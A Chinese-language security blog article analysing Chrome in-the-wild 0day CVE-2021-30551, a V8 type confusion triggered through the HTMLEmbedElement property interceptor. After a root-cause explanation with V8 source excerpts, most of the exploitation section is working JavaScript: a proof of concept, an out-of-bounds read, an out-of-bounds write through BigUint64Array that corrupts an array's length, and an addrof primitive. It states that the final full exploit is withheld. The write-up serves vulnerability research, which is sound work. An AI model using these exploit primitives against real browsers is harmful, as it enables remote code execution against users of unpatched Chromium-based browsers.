Chrome 在野0day:CVE-2021-30551的分析与利用

阅读量    74602 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

一、漏洞背景:

近日谷歌公开了四个在野0day,其中CVE-2021-30551是一个v8类型混淆的漏洞,对市面上一些内置浏览器均有影响,下面无恒实验室将根据p0公开的内容对漏洞的利用做一个简单的分享:

 

二、Root case

前面的一些内容p0的文章中(https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html)已经讲过了,这里简单提一下:

  1. 漏洞的过程和之前沙箱漏洞中的一种模式思路类似(resolve重入用户js)可以类比去理解。
  2. HTMLEmbedElement是少数具有属性拦截器的 DOM 类之一,每次用户尝试访问Embed的 JS 包装器的属性时将会运行特殊的方法,这个方法可以由用户自定义,也就相当于可以在v8执行过程中重入到用户js层–去执行用户定义的代码。
  3. 当对一个对象的命名属性进行操作时,如果该对象没有该属性时,将会去调用SetPropertyInternal函数遍历该对象的原型链
C++
Maybe<bool> Object::SetPropertyInternal(LookupIterator* it,
Handle<Object> value,
Maybe<ShouldThrow> should_throw,
StoreOrigin store_origin, bool* found) {
[...]
do {
switch (it->state()) {
[...]
case LookupIterator::INTERCEPTOR: {
if (it->HolderIsReceiverOrHiddenPrototype()) {
Maybe<bool> result =
JSObject::SetPropertyWithInterceptor(it, should_throw, value);
if (result.IsNothing() || result.FromJust()) return result;
} else {
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
break;
}
[...]
*found = false;
return Nothing<bool>();
}

如果在原型链中遍历到INTERCEPTOR(拦截器),将会去执行拦截器以确定是否应该抛出“只读属性”异常,此时将会调用用户定义好的js代码,接下来SetPropertyInternal将会报告该属性不存在,接着交由SetProperty去调用AddDataProperty来创建属性。

C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}

先大致描述一下漏洞的产生:

当用户访问一个object的命名属性时,如果该obj没有该属性,就会进入上面的遍历原型链的过程,此时如果在拦截器中创建该属性,并将该obj的map更改为deprecated状态,之后在SetPropertyInternal遍历结束后去创建属性时就会创建一个同名的第二个属性,如果此时的map为deprecated状态,此时将只会更新属性的值而不会去修改map中的描述符(map中保存了一个描述符数组,里面储存了命名属性的相关信息)。从而导致类型混淆。

在根据poc来分析之前先做个小实验:

JavaScript
global_object = {};
const array = [1.1, 2.2, 3.3];
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1; //------------------------------->map1

%DebugPrint(object_1);
%DebugPrint(object_1.regular_prop);
%SystemBreak();

Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = array; //--------------------------->map2(map1 is deprecated)

%DebugPrint(object_1);
%SystemBreak();

const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1; //---------------------------------->map1

%DebugPrint(object_2);
%SystemBreak();

Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = array;//------------------------------>map2

%DebugPrint(object_2);
%SystemBreak();

object_1.regular_prop = 1.1;//----------------------------------->map3(map2 is deprecated)

%DebugPrint(object_1);
%DebugPrint(object_2);

根据debug信息可以得到注释中的结论,之后根据该代码去实现在拦截器中将object的map设置为deprecated。

2.1 poc

JavaScript
global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;//遍历到拦截器后调用的js代码
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed); //将embed(拦截器)设置到原型链中
document.body.appendChild(embed);
object.corrupted_prop = value;//通过访问obj中不存在的命名属性触发SetPropertyInternal
embed.remove();
}

createCorruptedPair = (value_1, value_2) => {//object1主要用于将object2的map设置为deprecated
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;

setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});

const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;

setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
object_1.regular_prop = 1.1//设置map为deprecated
});
return [object_1, object_2];
}

主要的地方已经以注释的形式写在了poc中,下面是实现混淆的代码:

JavaScript
const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, target); //root case

jit = (object) => {
return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
jit(object_1);
var leak = jit(object_2);

console.log('0x' + hex(d2u(leak)[0]));

漏洞主要发生在注释的地方,这里对poc做一个拆解便于理解:

JavaScript
object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value; <-----调用Object::SetPropertyInternal开始遍历

由于已经设置了global_object为embed,遍历的过程中将会执行:

C++
{
Maybe<PropertyAttributes> maybe_attributes =
JSObject::GetPropertyAttributesWithInterceptor(it);
if (maybe_attributes.IsNothing()) return Nothing<bool>();
if ((maybe_attributes.FromJust() & READ_ONLY) != 0) {
return WriteToReadOnlyProperty(it, value, should_throw);
}
if (maybe_attributes.FromJust() == ABSENT) break;
*found = false;
return Nothing<bool>();
}
//他为了判断是否需要抛出只读异常(WriteToReadOnlyProperty(it, value, should_throw);)将会去执行已经定义的拦截器代码

拦截器函数:

JavaScript
() => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1; //在重入的过程中创建刚才不存在的命名属性。
object_1.regular_prop = 1.1//设置map为deprecated
}

在执行完上面的代码后,Object::SetPropertyInternal是不会根据已设定的拦截函数去判断是否创建该属性的,他只会返回一个false的found。

C++
Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value,
StoreOrigin store_origin,
Maybe<ShouldThrow> should_throw) {
if (it->IsFound()) {
bool found = true;
Maybe<bool> result =
SetPropertyInternal(it, value, should_throw, store_origin, &found);
if (found) return result;
}
[...]
return AddDataProperty(it, value, NONE, should_throw, store_origin);
}

于是这里会接着调用Object::SetProperty去第二次创建该属性。

接下来通过比较object1和object2的创建过程,来体会一下deprecated的作用,这里简单调试一下:

object_1:

object:

map:

descriptorarray:

这里简单对他的结构做了一个标注,可以看到在descriptorarray是存在两个相同key(同名)的属性的,分别对应了field 1 和 field 2,这个对照第一个图也可以看到在in-object property中储存了value1(0x083305a9)和value2(0x08330649),相当于object_1具有了两个同名属性。

接下来是object_2:

可以看到它的map和obejct_1相同,但是不同于object_1,由于deprecated操作object_2并没有创建出两个同名属性,SetProperty只是将它的corrupted_prop属性由value1(0x083305a9)修改为了value2(0x08330649),由于此时的descriptorarray仍是之前的描述符,这就导致%DebugPrint(object_2.corrupted_prop);会错误的将field 2的值作为属性输出就会得到下面的结果:

最重要的是field 1处的值已经由value1修改为了value2,但是描述符并没有发生改变,这也是这个漏洞最关键的地方。

 

三、利用部分

利用开始前的题外话:

  1. 因为这个漏洞他需要使用到html的对象embed,所以是不能直接在d8上调试的,我的方法是在chrome上调试的同时拉一个debug版的d8来方便去查看内存布局,这样对照起来会方便一些。
  2. 可以使用下面的命令:
file ./chrome
set args –headless –disable-gpu –user-data-dir=./userdata –remote-debugging-port=1338 –no-sandbox –js-flags=”–allow-natives-syntax –trace-turbo” http://127.0.0.1:8000/poc.html
set follow-fork-mode parent

之后在attach到render进程就可以调试v8了。

3.1越界读

接下来的重点就是如何使用描述符来消除掉checkmaps,最终实现类型混淆:

在load-elimination阶段将会进行冗余消除,v8将会去消除一些多余的检查:

C++
ReductionLoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect);
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}

可以看到由于上面提到的错误的映射,maps.contains(object_maps)将会返回true从而将checkmaps消除掉,这样就可以实现越界读了。

这里有需要注意的地方:

混淆的对象不能随意选择,比如const [object_1, object_2] = createCorruptedPair(array, 111.223);此时他会将111.223当作数组去使用:

可以看到它会根据偏移去取elements中的内容,对于111.223来说他的对应偏移处的值为0x3ff19999(由于指针压缩,这里会将0x3ff19999+$r13的值作为elements指针进行访问,可以看到此时触发了0地址解引用)。

如果修改为:

JavaScript
const buf12 = new ArrayBuffer(8);
const flo = new Float64Array(buf12);
const [object_1, object_2] = createCorruptedPair(array, flo);

jit = (object) => {
return object.corrupted_prop[2];
}

for (var i = 0; i < 100000; ++i)
jit(object_1);
var leak = jit(object_2);

console.log('0x' + hex(d2u(leak)[1]));

此时就会根据Float64Array的elements来进行越界读,下面是一个简单的例子:

3.2越界写

初尝试:

首先要实现越界写最关键的还是要将checkmaps检查消除,这里我找到了一种办法:

JavaScript
const array = [1.1,2.2,3.3];
array.prop = 1;

const num = 1.1;
num.prop = 1;

jit = (object) => {
object.corrupted_prop[2] = num;
return object.corrupted_prop[2];
}

就是给array设置一个属性,之后在创建一个具有相同属性的num,这样进行写入时就会消除掉checkmaps。

这里有几个点要注意:

  1. 直接赋值object.corrupted_prop[2] = 1.1;是不会消除checkmaps的。
  2. 越界写的长度是array的长度,但写的基地址为Float64Array的elemets,算是一个比较特殊的越界写!!!很重要 !!!
  3. 最后就是越界写的过程中,是将数组中的每一个值都当作object来写的

这里就会有一个问题,elements里面存放的值都是指针压缩后的地址,当作object去写入的话肯定是不行的,看rdi的值也可以发现,他直接取了0xf500000000080425为地址。

而且就算是在32位没有指针压缩的情况下进行越界写,它还是会取8字节的值作为object来进行写入:

如图所示,所以就需要找一种越界时可以直接写double的方法,这里我尝试了几乎所有的object后找到了一个可以使用的目标BigUint64Array。

3.3Why BigUint64Array?

这里选择它的理由主要有以下几点:

  1. 它可以直接写入double,而不会像其他object混淆后当作object去写入
  2. BigUint64Array的elements非常特殊,它分配的地址可以和array相邻(可以调试一些其他的typearray,很明显可以发现他们的elements分配的区域和array是相距很远的而且偏移不固定)

图中圈红的位置为elements,可以看到BigUint64array的elements可以和array相邻,对于这个漏洞来说就十分方便了。

3.4最终的越界写思路:

最后需要修改array的length,但目前写入都是以double的形式进行的,所以需要先泄漏出length旁边的elements的地址,之后再进行拼接写入,避免破坏正常的object结构,修改elements的length也是同理:

JavaScript
global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(global_object, embed);
document.body.appendChild(embed);
object.corrupted_prop = value;
embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
const object_1 = {
__proto__: global_object
};
object_1.regular_prop = 1;

setPropertyViaEmbed(object_1, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_1.corrupted_prop = value_1;
});

const object_2 = {
__proto__: global_object
};
object_2.regular_prop = 1;

setPropertyViaEmbed(object_2, value_2, () => {
Object.setPrototypeOf(global_object, null);
object_2.corrupted_prop = value_1;
object_1.regular_prop = 1.1
});
return [object_1, object_2];
}


const array = [5.5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1.1];
array.prop = 1;


const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];

obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);

const [object_1, object_2] = createCorruptedPair(array, test);

jit = (object,index) => {
return [object.corrupted_prop[index],object.corrupted_prop[index-5]];
}

%PrepareFunctionForOptimization(jit)
jit(object_1,0);
%OptimizeFunctionOnNextCall(jit);

var leak = jit(object_2,0xd);

elem = d2u(leak[0])[0];
elem2 = d2u(leak[1])[0];
const num = u2d(elem,0x4242);
num.prop = 1;
const num2 = u2d(elem2,0x4242);
num2.prop = 1;

num对应oob_array的length,num2对应elements的length,之后只需要将他们越界写入oob_array即可。

JavaScript
proto2 = {};

setPropertyViaEmbed2 = (object, value, handler) => {
const embed = document.createElement('embed');
embed.onload = handler;
embed.type = 'text/html';
Object.setPrototypeOf(proto2, embed);
document.body.appendChild(embed);
object.corrupted2 = value;
embed.remove();
}

createCorruptedPair2 = (value_1, value_2) => {
const object_3 = {
__proto__: proto2
};
object_3.regular2 = 1;

setPropertyViaEmbed2(object_3, value_2, () => {
Object.setPrototypeOf(proto2, null);
object_3.corrupted2 = value_1;
});

const object_4 = {
__proto__: proto2
};
object_4.regular2 = 1;

setPropertyViaEmbed2(object_4, value_2, () => {
Object.setPrototypeOf(proto2, null);
object_4.corrupted2 = value_1;
object_3.regular2 = 1.1
});
return [object_3, object_4];
}

const [object_3, object_4] = createCorruptedPair2(array, test);
//%DebugPrint(object_4.corrupted2);

jit22 = (object,index) => {
object.corrupted2[index] = num; //length
object.corrupted2[index-5] = num2; //elements的length
return object.corrupted2[index];
}

%PrepareFunctionForOptimization(jit22)
jit22(object_3,0);
%OptimizeFunctionOnNextCall(jit22);

//%DebugPrint(test);
var leak2 = jit22(object_4,0xd);
//%DebugPrint(leak2);
  1. array的长度决定越界的范围,忘记的同学可以再回头看一下。
  2. 不能只修改oob_array的length,还需要将elements中的length一并修改。

接下来只要提前构造好下面的结构:

JavaScript
const test = new BigUint64Array(2);
var oob_array = [1.1,2.2,3.3];

obj_array = { m: 1337, target: gc };
ab = new ArrayBuffer(0x1337);

利用test去越界修改oob_array的length和elements的length,这样就可以使用oob_array去进行漏洞利用了。

如果是32位的利用的话涉及到一个高低位的问题,这里需要注意一下:

简单举一个例子:

JavaScript
var object_idx = undefined;
var object_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] == 0xa72) {
print("m: i: " + i + " lo 0");
print("target: i: " + i + " hi 1");
object_idx = i;
object_idx_flag = 1;
break;
}
if (d2u(oob_array[i])[1] == 0xa72) {
print("m: i: " + i + " hi 1");
print("target: i: " + (i + 1) + " lo 0");
object_idx = i + 1;
object_idx_flag = 0;
break;
}
}

function addrof(obj_para) {
obj_array.target = obj_para;
return d2u(oob_array[object_idx])[object_idx_flag] - 1;
}

最后由于一些众所周知的原因,详细的exp就没办法在这里放出了,相信看到这里熟悉v8利用的小伙伴们就已经知道后面该怎么做了,有了越界读写之后就是一些常规的做法了。

最终放一个效果图:

 

四、结束语

  1. 该漏洞可以广泛运用于对市面上一些的chromium内置浏览器的攻击,rce成功之后将会对用户产生巨大的影响,无恒实验室在得知漏洞之后迅速对相关应用进行更新升级,同时也第一时间对漏洞利用进行分析,是业内第一个提供exp分析的实验室,保障了用户权益。
  2. 无恒实验室致力于为公司与全行业业务保驾护航,亦极为重视第三方应用对业务安全的影响,在检测公司引入的第三方应用安全性的同时,无恒实验室也着力于构建第三方应用中的漏洞缓解机制,并将持续与业界共享研究成果,协助企业业务避免遭受安全风险,亦望能与业内同行共同合作,为网络安全行业的发展做出贡献。

参考链接:

https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多